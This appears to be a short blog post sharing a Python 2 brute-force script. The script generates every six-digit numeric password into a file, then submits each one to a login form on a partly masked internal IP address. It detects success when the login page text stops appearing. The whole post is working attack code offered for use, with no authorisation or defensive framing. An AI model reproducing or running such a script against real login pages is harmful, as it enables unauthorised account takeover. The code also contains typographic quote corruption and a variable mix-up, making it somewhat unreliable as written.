python 暴力破解密码脚本

import os

pds=[]


rg=range(0,10)

for first in rg:
    for second in rg:
        for three in rg:
            for four in rg:
                for five in rg:
                    for six in rg:
                        num= "%s%s%s%s%s%s"%(first,second,three,four,five,six)
                        pds.append(num)



file_object = open(‘/Users/teso/Desktop/pwdNum6.txt‘, ‘w‘)
file_object.writelines([‘%s%s‘ % (x,os.linesep) for x in pds])
file_object.close( )

import urllib,urllib2,HTMLParser  

#解析网页的爬虫
class OAParser(HTMLParser.HTMLParser):
    def __init__(self):
        HTMLParser.HTMLParser.__init__(self)
        self.pd=[]
    def handle_data(self, data):
        #print "Encountered some data  :", data
        self.pd.append(data)

  
#暴力破解脚本
def tryLogin(name,pwd):
    parm={"loginName":name,
          "password":pwd}
    url="http://192.**.*.*/***/login/li"
    r=urllib2.urlopen(url, urllib.urlencode(parm))
    parse=OAParser()
    parse.feed(r.read())
    parse.close()
    isFind=False
    if "用户登录" in parse.pd:#这里是对应网站的密码验证逻辑
        print ‘尝试密码‘,pwd,‘登陆失败‘
        isFind = False
    else:
        print user,‘登陆成功‘,‘password = ‘,pwd
        isFind=True    
    del(parse)
    
    return isFind
    


user=‘testUser‘
#password=[‘1‘,‘12‘,‘123‘,‘1234‘,‘12345‘,‘123456‘,‘12345678‘]  
fpath=‘/Users/teso/Desktop/pwdNum6.txt‘
pfile=open(fpath,‘r‘)

for onePwd in pfile.readlines():
    if tryLogin(user, onePwd[:6]):
        break;